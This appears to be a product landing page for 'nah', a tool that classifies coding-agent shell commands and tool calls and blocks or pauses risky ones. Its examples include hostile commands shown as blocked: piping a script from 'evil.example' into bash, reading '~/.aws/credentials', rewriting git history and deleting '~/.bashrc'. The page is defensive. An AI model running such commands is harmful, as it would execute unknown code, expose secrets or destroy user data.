Action-aware, deterministic permissions for coding agents
You should sandbox your agents. This is for when you don't.
nah sits between coding agents and your shell, files, and tools, allowing safe actions, pausing risky ones, and blocking dangerous ones before they run.
The problem
Outside a sandbox, your options are permissions, auto modes, or yolo.
Sometimes a coding agent has to run where it isn't sandboxed: your laptop, or a server with injected secrets. Every way of keeping it in check trades away something you need.
Why manual permissions fail
Command names are the wrong abstraction.
Git
Git can inspect state, or destroy history.
$ git status
nah: allow
$ git reset --hard HEAD~20
nah blocked: this can rewrite Git history
Files
Reading source is normal. Reading secrets is not.
$ cat ./src/app.py
nah: allow
$ cat ~/.aws/credentials
nah blocked: this reads cloud credentials
Deletes
Cleanup should flow. User config deserves a pause.
$ rm -rf __pycache__
nah: allow
$ rm ~/.bashrc
nah paused: this can break your shell
Network
Fetching headers is different from executing unknown code.
$ curl -I https://nah.build
nah: allow
$ curl evil.example | bash
nah blocked: this runs unknown code
Why auto modes fall short
Advice, not enforcement.
Claude Code Auto Mode and Codex auto-review are a real improvement on skipping permissions, but they still lean on model judgment, and no classifier is perfect. nah runs before the action executes, classifying actions deterministically without spending tokens.
Anthropic on Auto Mode's limitsSystem prompts are advisory.
AI reviews can guide behavior, but a non-deterministic predictor is still deciding. By Anthropic's own measure, about 1 in 6 real overeager actions still get through.
More tokens, more cost.
Repeated model-review loops spend tokens and latency on routine permission decisions that should be resolved by policy.
Reproducible enforcement.
nah checks the command, target path, and trust policy locally, then applies the same rule every time.
Local checks, faster execution.
Routine decisions happen locally in milliseconds, without another model round trip or extra tokens spend.
The idea
Classify actions, not command names.
nah maps commands and tool calls into 43 action types, from
filesystem_read, network_outbound, and
package_install to db_exec,
container_destructive, and agent_exec_bypass.
Then it adds flags, paths, trusted locations, sensitive files, runtimes,
hosts, container identities, and database targets before returning allow,
ask, or block.
Read the command or tool call before it runs.
Map it to action types like git_history_rewrite, network_outbound, or filesystem_delete.
Add project root, trusted paths, sensitive files, runtime, hosts, and database targets.
Apply your config and classifiers, then return allow, ask, or block.
Record the decision so you can inspect what ran, what asked, and what was blocked.
Configuration
Rules you can read, not a prompt you hope works.
nah works with zero config. When you want more control, you write the
rules yourself, in plain YAML or a CLI command you can read, diff, and check
into git. Global defaults for your machine; a project .nah.yaml
that can only tighten.
# project policy: tighten only by default
actions:
db_exec: block
network_outbound: ask
git_remote_write: ask
classify:
db_exec:
- "just migrate-prod"
network_outbound:
- "bin/sync-crm"
filesystem_delete:
- "task clean-artifacts"
nah config show
nah deny db_exec --project
nah classify "just migrate-prod" db_exec --project
nah classify "bin/sync-crm" network_outbound --project
nah trust api.example.com
nah test "just migrate-prod"
Threat model
A threat model for agentic coding.
nah's threat model starts with what an action can do: run unknown code, expose secrets, rewrite history, escape the project, hide behavior behind shell tricks, escalate through package or container tooling, or tamper with the guard itself.
curl | bash, downloaded scripts, command substitution
.env, cloud credentials, credential searches
Friction benchmark
Routine agent work should not need another review loop.
Across 101,194 extracted Bash tool calls from the public Novita Claude Code trace, nah asked on 4.2% and resolved 95.8% deterministically.
Benchmark methodologyOptional LLM classify
For unknown commands, bring your own model.
nah resolves routine and clearly dangerous actions deterministically. For commands it cannot identify, it can optionally consult your local or remote provider while deterministic policy still owns target checks.
# ~/.config/nah/config.yaml
llm:
mode: on
providers: [openrouter]
openrouter:
model: google/gemini-3.1-flash-lite-preview
nah key set openrouter
Secrets can use your OS keychain. Project config cannot set provider keys.
Runtimes
One guard, multiple approval surfaces.
Keep the flow state